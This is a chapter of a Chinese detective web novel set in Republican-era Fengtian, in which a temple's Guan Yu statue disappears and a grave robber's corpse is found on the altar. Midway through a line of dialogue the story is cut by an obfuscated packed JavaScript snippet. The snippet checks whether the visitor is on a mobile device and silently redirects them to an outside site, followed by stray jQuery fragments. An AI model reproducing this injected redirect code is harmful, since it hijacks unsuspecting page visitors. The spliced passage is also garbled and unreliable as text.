23.关二爷不翼而飞 盗墓贼鸠占鹊巢
作品:《走奉天》 北市人肉案刚刚告破没多久,奉天迎来了一个酷暑难耐的三伏天。
也就是这个燥热的三伏天里,堂子庙胡同地界被当局拆毁,改建民居,庙基也被全新的建筑所掩盖,连带着曾经辉煌一时的贵族往事都尘封进奉天的土地之中,真就是应了刘禹锡那句“旧时王谢堂前燕,飞入寻常百姓家”。
一个惊奇的夏夜,草木葳蕤与古楼林立之间,奉天又成了魑魅魍魉的奉天。
北城金府中有点点烛光悬在黑暗中,对,就是那个曾经遭到狐妖报复的金府,老爷金万林坐在太师椅上,一双短粗的胖手正仔细拆解着仆役刚刚送来的书信,这信封大体上没什么特殊之处,通体为白色,并没有贴任何邮票更不要说编码。
金万林缓缓展开信札,他看着书信中的内容,瞳孔微颤,用食指推了推大拇指上的玉扳指,随后一掌拍在桌子上,那扳指生生碎成两截。
“岂有此理,真是狮子大开口,这帮孙子真拿我当无底洞了,我上哪给他们生这宝贝去。”
二台子关帝古刹,朗朗明月高悬,时逢宵禁,一只独身恨狐蹲在门前的千年巨柳之上,“咕咕——咕咕——”的叫着。
这关帝古刹可大有来头。
相传,唐贞观年间,太宗李世民收到辽东边关兵报,说有人意图谋反作乱,屡次侵扰边境。
于是太宗便命令方士徐茂公占星卜卦,徐茂公禀报皇帝,说“辽东将有青龙与赤龙双星降世,求陛下派兵讨伐两贼。”
据说,后来太宗钦点大将张士贵率领十万精兵远征辽东,击溃“青龙星”盖苏文后,徐茂公一日入梦,梦见一只白皮狐狸缓缓走进帐中开口人语。
它说此星千年以后会再度现世进犯邦国,而“赤龙星”则即将现世为祸一方。
徐茂公忙问它,有何办法阻止,那狐狸摇了摇头,道:“实乃天意,任何人都无力回天,只有一法。”
徐茂公见狐狸故弄玄虚,本有些生气,但转念想到邦国族人千年之间受此双星威胁,于是连忙下跪,道:“神仙大人,请授小官解救之法,小官代天下苍生与万世子孙谢过大人提点。”
那狐狸两步攀上床榻,侧身而卧,姿态竟活脱脱像是一个身形伶俐的女子,它用爪子擎着脑袋,打了个哈欠,缓缓开口,道:“欲镇赤龙需选龙脉之处修关帝庙宇一座为护国寺。而青龙再现,我也回天乏术。”
那狐狸又紧接着一个翻身,顺势伸了个懒腰。
“不过,我与山间姊妹兄弟五人历来住在这地界守护龙脉,那日我黄兄弟被盖苏文活捉欲杀,适逢大军击溃敌营救它性命,我便与你传授阴阳双决,你寻军中亲信两人携这阴阳双令,待千年以后青龙星再降世之时若这阴阳双令还在世,便可再助当时之人一臂之力。”
徐茂公起身便拜,岂料瞬间天旋地转,随即便沉沉睡去,第二日一早他于床榻上起身,四下寻找不见胡仙踪影,随即便奏请太宗,于二台子建起庙宇,并选择身边亲信何长庚与汪瑞风二人,各持阴阳双令,而何汪两人死后便将双决传于子孙,直到何明远这一代。
那狐狸所说的山间姊妹兄弟五人正是胡、黄、白、柳、灰五族祖先。
而明朝崇祯年间,赶上灾荒和战乱,百姓民不聊生,李自成起兵,明朝瓦解,辽东百姓在关帝庙祈雨,请来戏班子唱关公斩杀蔡阳这一出戏,当日关公所持的是一把木制青龙偃月刀,却不想竟然真的将扮演蔡阳的演员首级砍下,从那以后关公庙便再也没有演过这出关公戏。
时间回到奉天民国的那个夜晚,这关帝庙中那尊稳坐千年,历经风雨都岿然不动的关帝像,竟然就这样神不知鬼不觉地不翼而飞了。
第二天一大早,是农历六月二十四号,这一天是关公寿辰,民间百姓会带着贡品到庙中祭拜。
挑着担子的、挎着竹篮的、牵着孩童的、互相打趣的百姓从四面八方涌来,前端的汉子光着膀子扛着整个猪头,脂肪在日头的照射下,油涔涔的。妇人手中的盘子里盛着寿桃和鲜果蜜饯,红纸捆着的香一捆捆夹在腋下。
唢呐班子吹得震天响,几个半大的孩子挤在人群里,踮着脚往庙里看去,百姓们人手一根香,一路边走边换,直到插进香炉中,再拜一拜,方能将愿望许下。
“关老爷保佑——关老爷保佑——”
庙门前的石狮子跟前,早就有小贩支起了摊子,吆喝声喧闹声混作一处。
进了山门,天井里早早挤满了人,香烟袅袅,氤氲着“忠义千秋”的匾额,百姓紧攥着香,嘴里念念有词,等着前头的人拜完,好把自家的供品摆上正殿供桌。
好不容易挨到了殿门前,牵头的人却突然停住脚步,惊呼着往后退。
后面的人不明所以,推着搡着要往前挤,但是等到看清楚殿中景象之时都瞬间倒吸一大口凉气,连唢呐锣鼓声都戛然而止,
本应该立着丈二关公神像的神龛,此时空空荡荡,那尊身穿绿袍,手持青龙偃月刀的关二爷塑像,竟然不翼而飞!
供桌上的铜制香灰炉子歪倒在地,香灰洒了一地,而那铺着红绒布的供台之上,竟然不是寻常的瓜果糕点,而是一具端坐的尸体。
这尸体穿着粗布衣衫,面色青灰,双目圆睁,脖颈上一道黑紫色的勒痕格外扎眼,他双手垂在身侧,身上沾着些许香火。
人群中不知是谁高喊了一句“死人了!”原本喧嚣的关帝庙便先是安静随即炸开了锅。
前头的老妇人捂住了胸口往后一倒,幸好被旁边的女人扶住,孩童吓得“哇哇”大哭,被边上的家人蒙住双眼,汉子们面面相觑,胆子大的往前凑了凑,却也被那具尸体的形态吓得腿脚发软。
日头虽然毒辣,但殿中的凉气却顺着脚后跟往头发稍上爬,把满殿的香火和人气都冻成了一片死寂。
乌泱泱的人群中挤来了一个身穿衬衫和格子西裤,头戴圆顶前进帽的女孩,那女孩正是徐曦娴,她走上前,确认人已经死了,随即对后面的人说:“快报警!”
正在她观察的过程中,身后响起熟悉的声音:“这不是灰二吗?”
“何明远?”徐曦娴歪头看向他:“你认识他?”
“当然了,换句话说
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16962769|191273||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,我俩是一条线上的老朋友咯。”何明远嘴撅得高高的,双手环抱在胸前。
“别卖关子,有话快说。”徐曦娴不耐烦的想伸出手扯何明远的耳朵,被他灵巧的躲过了。
“这么和你说吧,算了,你再等一小会儿,等章大人来了以后,咱们慢儿慢儿说,省着我还得费口舌再说一遍。”何明远干脆走到边上的柱子下席地而坐。
“我就这么和你说吧,比起这个灰二,那个神龛里的关二爷可贵重得多,这可是坐了几千年了,现在说丢就丢了,啧啧,奉天怕是又要倒霉咯。”何明远歪着脑袋闭目养神。
待半晌过去,章斯年带着一行人跨步迈进大殿门槛。
“哎呦呦,章大人,您可算来了。”何明远率先开了口,声音是那种略带谄媚的阴阳怪气,“这事可邪性得很,您急需一个懂行的助手了。”
小四在一旁赶紧接话:“好你个何明远,咋地,你要撬我的班吗?”
“此言差矣,你这个破活儿我才不稀罕干。”何明远伸手去小四兜里掏炉果,他知道小四喜欢在兜里揣点心。
小四连忙打他的手。
章斯年走到供台前,目光掠过眼前的景象,身长丈二的关公像果然没了踪影,而那坐着的尸体也真的如同报案人说的那般姿态诡异,面目恐怖。
“死者身份有眉目吗?”章斯年看向何明远,随即走上前去,伸手去翻动死者的衣物。
“当然,这奉天城中大大小小,有头有脸的人物,哪个我不认识。”何明远嘴里嚼着炉果,缓缓道来。
“此人名叫灰二,盗墓贼一个,我前脚刚给哪家下了葬,这小子就他大爷的去给挖出洞,传说中奉天的五大家族中的灰家后人,他们家的家纹是老鼠,掌管偏财,善于挖坟盗洞,据说啊,他们家有龙脉图的金部,没想到,上天入地占一面儿也能死的这么痛快”
“看来死者树敌颇多咯。”徐曦娴也弯腰开始观察。
“何止啊,是人和鬼都有啊,说不定是被恶鬼索命了呢?”何明远做出阴森鬼脸。
“恕我直言啊,章大人,这关公像可比这老鼠崽子值钱多了,你得先把关二爷给找回来,这老百姓等着拜呢,赶上生辰,关二爷怎么还出游了你说,让这一大帮人扑了个空。”何明远又开始梦到一句讲一句。
“眼下不能完全说明,关公失窃和灰二被杀有关,但两案可以应该并案侦察,小四,开始做痕迹记录。”章斯年随后让众人退后,自己和小四则开始对尸体周围做基本的痕迹检验。
章斯年根据灰尘的形态开始现场分析,小四跟在旁边做记录,徐曦娴则负责拍照。
“神龛灰尘是新的,能看出是挪动关帝像造成的。”
“死者跪坐的位置和神像摆放的位置重合,说明他被放在这时神像已经不在了。”
突然,章斯年的眼神看到了那个被打翻的香炉。
今早才刚刚有人来祭拜,香炉中却怎么有刚刚燃烧过的香灰痕迹,莫不是关公临走之前还食了香火了。
这人偷东西前还给上了三柱香,真挺讲究。

